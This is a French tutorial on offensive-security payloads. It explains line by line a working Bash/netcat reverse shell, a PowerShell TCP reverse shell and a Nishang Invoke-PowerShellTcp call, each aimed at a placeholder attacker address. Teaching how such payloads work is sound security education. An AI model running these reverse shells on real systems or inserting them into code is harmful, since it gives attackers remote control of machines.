Introduction to Payloads

📌 Qu'est-ce qu'un payload ?

En informatique, un payload fait référence à la partie utile d'un paquet de données. Par exemple, dans un e-mail ou un SMS, le message est le payload. En sécurité informatique, le terme prend un sens plus spécifique : il désigne le code ou la commande exécutée après exploitation d'une vulnérabilité, dans le but d'agir sur le système cible.

Ce payload peut être bénigne ou malveillant selon le contexte. Par exemple, un reverse shell ou un dump de fichiers sensibles sont des payloads typiques dans le cadre d'une attaque.

Il est essentiel de comprendre que lorsqu'un payload est livré, on donne au système cible une série d'instructions à exécuter, au même titre qu'un programme légitime. Ainsi, le terme "code malveillant" peut parfois masquer une réalité technique simple. Comprendre comment fonctionne un payload, plutôt que de simplement le copier-coller, est une compétence cruciale en cybersécurité offensive.


🧾 Décomposition d'un One-liner Bash/Netcat

Voici un exemple très courant de reverse shell sur Linux utilisant Bash et Netcat :

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <IP ATTAQUANT> 7777 > /tmp/f

✅ Détail ligne par ligne :

  • rm -f /tmp/f; Supprime le fichier /tmp/f s'il existe. L'option -f force la suppression sans message d'erreur.

  • mkfifo /tmp/f; Crée un pipe nommé (FIFO) dans /tmp/f, utilisé pour rediriger les flux d'entrée/sortie.

  • cat /tmp/f | Lit le contenu du pipe et le redirige vers la commande suivante.

  • /bin/bash -i 2>&1 | Lance un shell interactif Bash. 2>&1 redirige les erreurs (stderr) vers la sortie standard.

  • nc <IP ATTAQUANT> 7777 > /tmp/f Initie une connexion vers l'adresse et port spécifiés avec Netcat, en envoyant les données du shell au pipe.


🚀 Décomposition d'un One-liner PowerShell

PowerShell permet aussi de créer un reverse shell efficace sur les systèmes Windows. Voici un exemple :

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<IP ATTAQUANT>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

✅ Détail des étapes :

  • powershell -nop -c : Lance PowerShell sans profil, et exécute le code passé entre guillemets.

  • $client = New-Object System.Net.Sockets.TCPClient(...) : Crée une connexion TCP vers la machine de l'attaquant.

  • $stream = $client.GetStream(); : Initialise le flux de données.

  • [byte[]]$bytes = 0..65535|%{0}; : Crée un tableau de 65536 zéros pour la lecture des données.

  • while(($i = $stream.Read(...)) -ne 0) : Boucle de lecture des données depuis la connexion TCP.

  • $data = (New-Object ...).GetString(...) : Convertit les données brutes en texte ASCII.

  • $sendback = (iex $data 2>&1 | Out-String ); : Exécute la commande reçue et capture sa sortie.

  • $sendback2 = ... : Crée une ligne de prompt PowerShell avec le répertoire courant.

  • $sendbyte = ... et $stream.Write(...) : Renvoie le résultat de la commande au Netcat distant.

  • $client.Close() : Ferme la connexion TCP.


🔧 Script PowerShell Nishang : Invoke-PowerShellTcp

Ce script plus complet permet de générer un shell bind ou reverse en PowerShell.

Il fait partie du projet Nishang, une collection d'outils d'attaque PowerShell. Le script propose plusieurs options :

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.10 -Port 4444

Principales caractéristiques :

  • Connexion en mode bind ou reverse selon les paramètres.

  • Encodage ASCII des données.

  • Prompt interactif PowerShell.

  • Possibilité d'établir des connexions IPv6.

C'est un bon exemple de la puissance des scripts PowerShell pour l'établissement de shells interactifs à distance.


📚 Ressources utiles


Mis à jour